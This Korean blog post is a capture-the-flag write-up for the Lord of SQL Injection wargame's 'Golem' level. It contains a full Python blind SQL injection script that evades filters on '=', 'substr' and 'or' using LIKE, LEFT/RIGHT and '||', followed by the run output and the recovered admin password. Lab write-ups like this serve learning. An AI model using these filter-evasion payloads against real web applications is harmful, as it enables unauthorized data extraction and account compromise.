이번 시간은 Blind SQL Injection이 필요한 몬스터 Golem이다.(확실하다 이 던전은 둔한 친구들에게 Blind SQL Injection을 부여했다.) 바로 코드로 만나보자
* 4번문제인 Orc에 Blind SQL Injection 스크립트의 동작 설명이 되어있습니다. *
* 본 문제의 해결을 위한 Blind SQL Injection은 Python으로 작성되었습니다. *
2021.04.13 - [정보보안-실습/SQL Injection] - [LOSI] Lord of SQL Injection Level 4 - Orc
코드
논리연산자 뿐만이 아니라 등호(=)와 우리가 자주 사용하던 substr(이 막혔다... 정말 단단한 방어력을 가진 몬스터이지만 우리는 답을 찾을 것이다. 정답을 확인하기 전에 먼저 GOLEM을 상대할 힌트를 주자면 등호와 substr를 대체할 함수 역시 존재한다.
해결방법
Answer url : los.rubiya.kr/chall/XXXX.php?pw=77d6290b
import string
from requests import get
if __name__=="__main__" :
url = ### GOLEM의 URL ###
length=0
abc = string.digits + string.ascii_letters
cookie = dict(PHPSESSID="### 자신의 PHPSESSID값 ###")
password=""
print("### find for password length ###")
while(True) :
param = "?pw=%27%20||%20id%20like(%27admin%27)%26%26%20length(pw)%20like("+str(length)+")--%20;"
new_url = url+param
rec = get(new_url,cookies=cookie)
if(rec.text.find("Hello admin")>=0) :
print("find password length : "+str(length))
break
print(str(length)+" is wrong pw length")
length+=1
print("\n\n### find for real password ###")
for i in range(1,length+1) :
for a in abc :
param = "?pw=1%27%20||%20id%20like(%27admin%27)%20%26%26%20ascii(right(left(pw,"+str(i)+"),1))%20like("+str(ord(a))+")--%20;"
new_url = url+param
rec = get(new_url,cookies=cookie)
if(rec.text.find("Hello admin")>=0) :
print("find "+str(i)+" password : "+a)
password+=a
break
print("="*20)
print(" here is password : "+password)
파이프가 or를 우회하기위해 사용되었으며, 다음의 함수들은 필터링된 요소를 대체하기 위해 사용되었다.
1. LIKE(parameter) : 등호(=)의 대체로 사용되었다. DATABASE에서 등호와 같은 의미를 가진다.
2. RIGHT(parameter, length) : 문자열 parameter의 마지막부터 length만큼을 반환한다
3. LEFT(parameter, length) : 문자열 parameter의 처음부터 length만큼을 반환한다. RIGHT()와 같이 사용되어 SUBSTR을 구현하였다.
이렇게 알아낸 GOLEM의 답안은 다음과 같다.
### find for password length ###
0 is wrong pw length
1 is wrong pw length
2 is wrong pw length
3 is wrong pw length
4 is wrong pw length
5 is wrong pw length
6 is wrong pw length
7 is wrong pw length
find password length : 8
### find for real password ###
find 1 password : 7
find 2 password : 7
find 3 password : d
find 4 password : 6
find 5 password : 2
find 6 password : 9
find 7 password : 0
find 8 password : b
====================
here is password : 77d6290b
축하한다. 우리는 단단한 방어력을 가진 GOLEM을 쓰러뜨렸다.
방어가 단단해 보여도, 뚫을 방법은 반드시 존재한다. 이를 염두에 두고 여러분들도 열심히 SQL Injection을 공부했으면 좋겠다. 다음 관문에서 여러분을 기다리겠다.(아마 다음이 GOLEM과 비슷해서 간단하게 올라갈듯 싶다.)
'WarGame > Lord of SQL Injection' 카테고리의 다른 글
[LOSI] Lord of SQL Injection Level 13 - BugBear (0) | 2021.04.13 |
---|---|
[LOSI] Lord of SQL Injection Level 12 - Dark Knight (0) | 2021.04.13 |
[LOSI] Lord of SQL Injection Level 10 - Skeleton (0) | 2021.04.13 |
[LOSI] Lord of SQL Injection Level 9 - Vampire (0) | 2021.04.13 |
[LOSI] Lord of SQL Injection Level 8 - Troll (0) | 2021.04.13 |